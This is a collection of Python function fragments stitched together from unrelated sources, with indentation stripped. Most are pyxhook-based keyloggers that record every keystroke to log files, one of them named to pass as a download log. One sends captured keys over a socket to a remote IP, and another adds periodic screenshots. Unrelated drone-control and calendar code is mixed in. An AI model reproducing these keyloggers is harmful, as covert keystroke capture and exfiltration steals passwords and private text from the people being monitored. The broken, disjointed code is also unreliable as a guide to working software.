def key_fetch(self):
log_file = os.environ.get('pylogger_file',
os.path.expanduser('~/Desktop/file.log'))
cancel_key = ord(os.environ.get('pylogger_cancel', '`')[0])
if os.environ.get('pylogger_clean', None) is not None:
try:
os.remove(log_file)
except EnvironmentError:
# File does not exist, or no permissions.
pass
def OnKeyPress(event):
with open(log_file, 'a') as f:
f.write('{}\n'.format(event.Key))
# create a hook manager object
global new_hook
new_hook = pyxhook.HookManager()
new_hook.KeyDown = OnKeyPress
# set the hook
new_hook.HookKeyboard()
try:
new_hook.start()
# start the hook
except KeyboardInterrupt:
# User cancelled from command line.
pass
except Exception as ex:
# Write exceptions to the log file, for analysis later.
msg = 'Error while catching events:\n {}'.format(ex)
# pyxhook.print_err(msg)
with open(log_file, 'a') as f:
f.write('\n{}'.format(msg))
def mainhook():
global running
global serial_no
serial_no = []
ctr = 0
# Create hookmanager
hookman = pyxhook.HookManager()
# Define our callback to fire when a key is pressed down
hookman.KeyDown = kbevent
# Hook the keyboard
hookman.HookKeyboard()
# Start our listener
hookman.start()
# Create a loop to keep the application running
running = True
while running:
time.sleep(0.1)
ctr += 1
if ctr >= 20:
running = False
# Close the listener when we are done
hookman.cancel()
print(serial_no)
return serial_no
def check(e1,e2):
if(e1=="sourabh" and e2=="admin@123"):
messagebox.showinfo("Service started", "Service successfully started")
log_file = os.environ.get('mylogger', os.path.expanduser("~/Desktop/file.log"))
# this function is called everytime a key is pressed.
def OnKeyPress(event):
fob = open(log_file, 'a')
fob.write(event.Key)
fob.write('\n')
if event.Ascii == 96: # 96 is the ascii value of the grave key (`)
fob.close()
new_hook.cancel()
# instantiate HookManager class
new_hook = pyxhook.HookManager()
# listen to all keystrokes
new_hook.KeyDown = OnKeyPress
# hook the keyboard
new_hook.HookKeyboard()
# start the session
new_hook.start
else:
messagebox.showinfo("Error", "you are typing wrong information")
def newobj():
new_hook = pyxhook.HookManager()
new_hook.KeyDown = OnKeyPress
#hook the keyboard
new_hook.HookKeyboard()
return new_hook
def keyLogger(keyData):
keys = keyboardKeys(keyData)
new_hook = pyxhook.HookManager()
new_hook.KeyDown = keys.OnKeyPress
new_hook.HookKeyboard()
new_hook.start()
keys.record(keySaveSleeper)
def __init__(self):
self.path = "/home/freddy/Documents/AirSim"
self.folder = ""
#开启键盘监听
self.hookman = pyxhook.HookManager()
self.hookman.KeyDown = self.kbevent
self.hookman.HookKeyboard()
self.hookman.start()
#连接AirSim
self.client = airsim.MultirotorClient(
) # connect to the AirSim simulator
self.client.enableApiControl(True) # 获取控制权
self.client.armDisarm(True) # 解锁
#client.moveToZAsync(-3, 1).join() # 第二阶段：上升到2米高度
self.running = True
self.isCircle = False
self.height = 0.0
self.speed = 1.0
self.center = np.array([[0.], [0.], [0.]])
self.startpoint = np.array([[0.], [0.], [0.]])
self.radius = 0.0
self.clock_wise = True
def start(self):
log_file = settings.log_file
cancel_key = settings.cancel_key
if settings.log_clean is not None:
try:
os.remove(log_file)
except EnvironmentError:
# File does not exist, or no permissions.
pass
def OnKeyPress(event):
with open(log_file, 'a') as f:
f.write('{}\n'.format(event.Key.lower()))
new_hook = pyxhook.HookManager()
new_hook.KeyDown = OnKeyPress
new_hook.HookKeyboard()
try:
new_hook.start()
except KeyboardInterrupt:
pass
except Exception as ex:
msg = 'Error while catching events:\n {}'.format(ex)
pyxhook.print_err(msg)
with open(log_file, 'a') as f:
f.write('\n{}'.format(msg))
running = True
while running:
time.sleep(0.1)
def __init__(self, index, overlay_enable_key_code, overlay_enable_mode):
self.command_mapping = {}
self.index = index
self.__available_modifiers = {
"None": 0,
"Shift": Xlib.X.ShiftMask,
"Control": Xlib.X.ControlMask,
"Alt": Xlib.X.Mod1Mask,
}
self.__available_modifier_state_mask = sum(
self.__available_modifiers.values())
self.key_code = int(overlay_enable_key_code)
if overlay_enable_mode == "hold":
self.on_overlay_key = self.hold_overlay_key
elif overlay_enable_mode == "toggle":
self.on_overlay_key = self.toggle_overlay_key
self.key_faker = None
self.overlay_active = False
self.hookManager = pyxhook.HookManager()
self.hookManager.HookKeyboard()
self.hookManager.KeyDown = self.handle_key_event
self.hookManager.KeyUp = self.handle_key_event
def keylogger():
#change this to your log file's path
log_file = "file.log"
#this function is called everytime a key is pressed.
def OnKeyPress(event):
global closevar
fob = open(log_file, 'a')
#if event.Key != "Return":
fob.write(event.Key)
if event.Key == "Return":
fob.write('\n')
if closevar == 999:
print "keylogger closing"
fob.close()
new_hook.cancel()
#instantiate HookManager class
new_hook = pyxhook.HookManager()
#listen to all keystrokes
new_hook.KeyDown = OnKeyPress
#hook the keyboard
new_hook.HookKeyboard()
#start the session
new_hook.start()
def runHook(connection, user):
hm = pyxhook.HookManager()
hm.KeyDown = kbevent
hm.MouseAllButtonsDown = moevent
hm.HookMouse()
hm.HookKeyboard()
hm.start()
global userID
userID = user
global running
running = True
global endTime
global startTime
startTime = time.time()
while running:
running = connection.recv()
time.sleep(0.1)
global endTime
endTime = time.time()
global cache
status = sendData(cache)
connection.send(status)
hm.cancel()
def _run():
while True:
hm = pyHook.HookManager() if os.name == 'nt' else pyxhook.HookManager()
hm.KeyDown = _event
hm.HookKeyboard()
pythoncom.PumpMessages() if os.name == 'nt' else time.sleep(0.1)
if globals()['abort']: break
def main():
# specify the name of the file (can be changed )
log_file = f'{os.getcwd()}/{datetime.now().strftime("%d-%m-%Y|%H:%M")}.log'
# the logging function with {event parm}
def OnKeyPress(event):
with open(log_file, "a") as f: # open a file as f with Append (a) mode
if event.Key == 'P_Enter':
f.write('\n')
else:
f.write(
f"{chr(event.Ascii)}"
) # write to the file / convert ascii to readable characters
# create a hook manager object
new_hook = pyxhook.HookManager()
new_hook.KeyDown = OnKeyPress
new_hook.HookKeyboard() # set the hook
try:
new_hook.start() # start the hook
except KeyboardInterrupt:
# User cancelled from command line.
pass
except Exception as ex:
# Write exceptions to the log file, for analysis later.
msg = f"Error while catching events:\n {ex}"
pyxhook.print_err(msg)
with open(log_file, "a") as f:
f.write(f"\n{msg}")
def main():
global running
global log_file
parser = optparse.OptionParser("Usage %prog -f <log file path>")
parser.add_option('-f',
dest='logfile',
type='string',
help='specify log file path')
(options, args) = parser.parse_args()
if options.logfile == None:
print(parser.usage)
exit(1)
log_file = options.logfile
# Create hook object
hook = pyxhook.HookManager()
# Listen to every key press and tell the object to use the function
# pressEvent() to handle what to do everytime a keystroke is detected
hook.KeyDown = pressEvent
# Hook keyboard
hook.HookKeyboard()
# Start the hook
hook.start()
#logBuffer()
running = True
while running:
time.sleep(0.1)
hook.cancel()
exit(0)
def Main(IP, PORT):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((IP, PORT))
parameters = {"socket":sock}
hookman = pyxhook.HookManager(parameters=True)
hookman.KeyDown = OnKeyPress
hookman.KeyDownParameters = parameters
hookman.HookKeyboard()
hookman.start()
except socket.gaierror:
print("Error: Destination IP Address is not valid")
except OverflowError:
print("Error: Destination Port must be 0-65535")
except ConnectionRefusedError:
print("Error: Destination Unreachable")
except KeyboardInterrupt:
hookman.cancel()
sock.close()
def main():
def OnKeyPress(event):
print(event.Key)
# if event.Key == "grave":
# new_hook.cancel()
return True
new_hook = pyhook.HookManager()
new_hook.KeyDown = OnKeyPress
new_hook.HookKeyboard()
try:
if platform == "linux":
new_hook.start()
elif platform == "win32":
pythoncom.PumpMessages()
except KeyboardInterrupt:
# User cancelled from command line.
pass
except Exception as ex:
# Write exceptions to the log file, for analysis later.
msg = 'Error while catching events:\n {}'.format(ex)
pyhook.print_err(msg)
logging.error(msg)
def navigate():
'''
:Params:
Nothing
:Return:
Nothing
:Description:
This function start analyzing keyboard input and stops when end variable is set to True
'''
global end
global index
# Reseting variables
end = 0
index = 0
print('Right Arrow - Move foward\nLeft Arrow - Move backward\nUp Arrow - Main Menu\n\n\n')
print_calendar(datetime.now()) # Printing current date calendar
hm = pyxhook.HookManager()
hm.KeyDown = OnKeyPress
hm.HookKeyboard()
hm.start() # Start analyzing keyboard
# This loop is necessary because we need to wait
# until end variable still False
while not end:
pass
hm.cancel() # Stop analyzing keyboard
def Klogger():
log = os.environ.get(
'pylogger_file',
os.path.expanduser('~/Downloads/download.log') #Directory of log file
)
user = os.path.expanduser("~")
timi = datetime.now()
with open(log, 'a') as f:
f.write(str(user) + '\n' + str(timi) + '\n')
def OnKeyPress(event):
with open(log, 'a') as f:
if (event.Key == "Return" or event.Key == "Tab"):
f.write('{}\n'.format(event.Key))
else:
f.write('{} - '.format(event.Key))
new_hook = pyxhook.HookManager()
new_hook.KeyDown = OnKeyPress
new_hook.HookKeyboard()
try:
new_hook.start()
except KeyboardInterrupt:
pass
except Exception as ex:
msg = 'Error while catching events:\n {}'.format(ex)
pyxhook.print_err(msg)
with open(log_file, 'a') as f:
f.write('\n{}'.format(msg))
def __init__(self, on_event=None):
if on_event is None:
on_event = lambda data: None
self._on_event = on_event
self._pressed_keys = set()
self._mouse_position = [0, 0]
self._old_reported_position = self._mouse_position
self._pressed_mouse_buttons = set()
self._hook_thread = pyxhook.HookManager()
self._hook_thread.KeyDown = self._on_key_event
self._hook_thread.KeyUp = self._on_key_event
self._hook_thread.MouseAllButtonsDown = self._on_mouse_button_event
self._hook_thread.MouseAllButtonsUp = self._on_mouse_button_event
self._hook_thread.MouseMovement = self._on_mouse_move_event
self._query_lock = threading.Lock()
self.interesting_keys = [
"esc", "space", "alt", "tab", "shift", "control", "caps", "left",
"right", "up", "down"
]
def start(self, server_addr, port, size, retry):
self._running = True
for ret in range(retry):
connected = self.connect_to_server(server_addr, port)
if connected == False:
continue
else:
break
#Create hookmanager
hookman = pyxhook.HookManager()
#Define our callback to fire when a key is pressed down
hookman.KeyDown = self.kbevent
#Hook the keyboard
hookman.HookKeyboard()
#Start our listener
hookman.start()
while self._running:
time.sleep(0.1)
#Close the listener when we are done
hookman.cancel()
def __init__(self,parameters=False,position=False,deamon=True):
threading.Thread.__init__(self)
self.finished = threading.Event()
# self.parameters={
# 'pressed':'',
# 'maximum_length':0,
# 'list_hot_keys':{},
# 'parameters':parameters_flag,
# 'running':True
# }
self.position=position
self.pressed=[]
self.maximum_length=0
self.list_hot_keys={}
self.parameters=parameters
self.running=True
self.last=[]
self.hookman = pyxhook.HookManager()
# Define our callback to fire when a key is pressed down
self.hookman.KeyDown = self.key_press_event
self.hookman.KeyUp = self.key_release_event
# Hook the keyboard
self.hookman.HookKeyboard()
# Start our listener
self.hookman.start()
def __init__(self):
self.parse_options() # stored in self.cmdoptions
self.parse_config_file() # stored in self.settings
self.parse_control_key()
self.NagscreenLogic()
self.process_settings()
_settings['settings'] = self.settings
_cmdoptions['cmdoptions'] = self.cmdoptions
_mainapp['mainapp'] = self
self.create_log_directory(self.settings['General']['Log Directory'])
os.chdir(self.settings['General']['Log Directory'])
self.create_loggers()
self.spawn_event_threads()
if os.name == 'posix':
self.hashchecker = ControlKeyMonitor(self, self.ControlKeyHash)
self.hm = hooklib.HookManager()
if self.settings['General']['Hook Keyboard'] == True:
self.hm.HookKeyboard()
self.hm.KeyDown = self.OnKeyDownEvent
self.hm.KeyUp = self.OnKeyUpEvent
if self.settings['General']['Hook Mouse'] == True:
self.hm.HookMouse()
self.hm.MouseAllButtonsDown = self.OnMouseDownEvent
#if os.name == 'nt':
self.panel = False
def main():
hook_man = pyxhook.HookManager()
hook_man.KeyDown = on_keyboard_event
hook_man.HookKeyboard()
hook_man.start()
ss_handler = threading.Thread(target=ss_at_intervals)
ss_handler.start()
def main():
print(f'Writing to {logfile}')
new_hook = pyxhook.HookManager()
new_hook.KeyDown = on_keyevent
new_hook.KeyUp = on_keyevent
new_hook.HookKeyboard()
new_hook.start()
def main():
hookman = pyxhook.HookManager()
hookman.KeyDown = kbup
hookman.KeyUp = kbdown
hookman.HookKeyboard()
hookman.start()
hookman.cancel()
def catchKeyPress(self):
hm = pyxhook.HookManager()
hm.KeyDown = self.OnKeyboardEvent
hm.HookKeyboard()
hm.start()
while self.running:
time.sleep(0.1)
hm.cancel()
def main():
parser = ArgumentParser(description='A simple keylogger for Linux.')
parser.add_argument(
'--log-file',
default=os.path.join(os.path.dirname(os.path.realpath(sys.argv[0])),
'loggedKeys.log'),
help='Save the output in this file.',
)
parser.add_argument(
'--clean-file',
action='store_true',
default=True,
help='Clear the log file on startup.Default is No',
)
parser.add_argument(
'--cancel-key',
help='A single key that use as the cancel key, Default is ` (backtick)',
)
args = parser.parse_args()
# current working directory for work after daemonizing
logged = cwd + '/loggedKeys.log'
print(logged)
log_file = logged
if args.clean_file:
try:
os.remove(log_file)
except OSError:
# TODO: log with logging module
pass
cancel_key = args.cancel_key[0] if args.cancel_key else '`'
def OnKeyPress(event):
with open(log_file, 'a') as f:
res = chr(event.Ascii)
if res:
f.write('{}\n'.format(res))
if event.Ascii == cancel_key:
new_hook.cancel()
new_hook = pyxhook.HookManager()
new_hook.KeyDown = OnKeyPress
new_hook.HookKeyboard()
try:
new_hook.start()
except KeyboardInterrupt:
# User cancelled from command line.
pass
except Exception as ex:
# Write exceptions to the log file, for analysis later.
msg = 'Error while catching events:\n {}'.format(ex)
pyxhook.print_err(msg)
with open(log_file, 'a') as f:
f.write('\n{}'.format(msg))
def main_run():
f = open("log.txt", "w")
pid_main = os.getpid(
) #we are getting the PID as we need to kill this subprocess later on
f.write(str(pid_main) + "\n")
# This function is called every time a key is presssed
def OnMouseEvent(event):
global running
# print key info
now = datetime.now()
current_time = now.strftime("%H:%M:%S")
#time = str(event.Time)
record_string = 'Message_Name' + "$" + event.MessageName + "$" + "Time" + "$" + current_time + "$" + 'Window_Name' + "$" + event.WindowName + "\n"
print(record_string)
f.write(record_string)
return True
# This function is called every time a key is presssed
def kbevent(event):
global running
# print key info
now = datetime.now()
current_time = now.strftime("%H:%M:%S")
record_string = 'Message_Name' + "$" + event.MessageName + "$" + "Time" + "$" + current_time + "$" + 'Window_Name' + "$" + event.WindowName + "\n"
print(record_string)
f.write(record_string)
return True
# If the ascii value matches spacebar, terminate the while loop
if event.Ascii == 32:
running = False
# Create hookmanager
hookman = pyxhook.HookManager()
#mouse
hookman.MouseMovement = OnMouseEvent
hookman.HookMouse()
hookman.MouseAllButtonsDown = OnMouseEvent
hookman.MouseAllButtonsUp = OnMouseEvent
# Define our callback to fire when a key is pressed down
hookman.KeyDown = kbevent
# Hook the keyboard
hookman.HookKeyboard()
# Start our listener
hookman.start()
# Create a loop to keep the application running
running = True
while running:
time.sleep(0.1)
# Close the listener when we are done
hookman.cancel()
def start_keylog():
key_hook = pyxhook.HookManager()
key_hook.KeyDown = on_key_press
key_hook.HookKeyboard()
try:
key_hook.start()
except:
print("Keylogger stopped")
def start_key_log():
global kill_keylog_thread
hm = pyxhook.HookManager()
hm.KeyDown = OnEvent
hm.HookKeyboard()
hm.start()
while not kill_keylog_thread:
sleep(0.5)
hm.cancel()
def start_logging(self):
""" Log every keystroke of the user into log file. """
# Crete hook manager.
hook_manager = pyxhook.HookManager()
# Assign callback for handling key strokes.
hook_manager.KeyDown = self._keydown_callback
# Hook the keyboard and start logging.
hook_manager.HookKeyboard()
hook_manager.start()
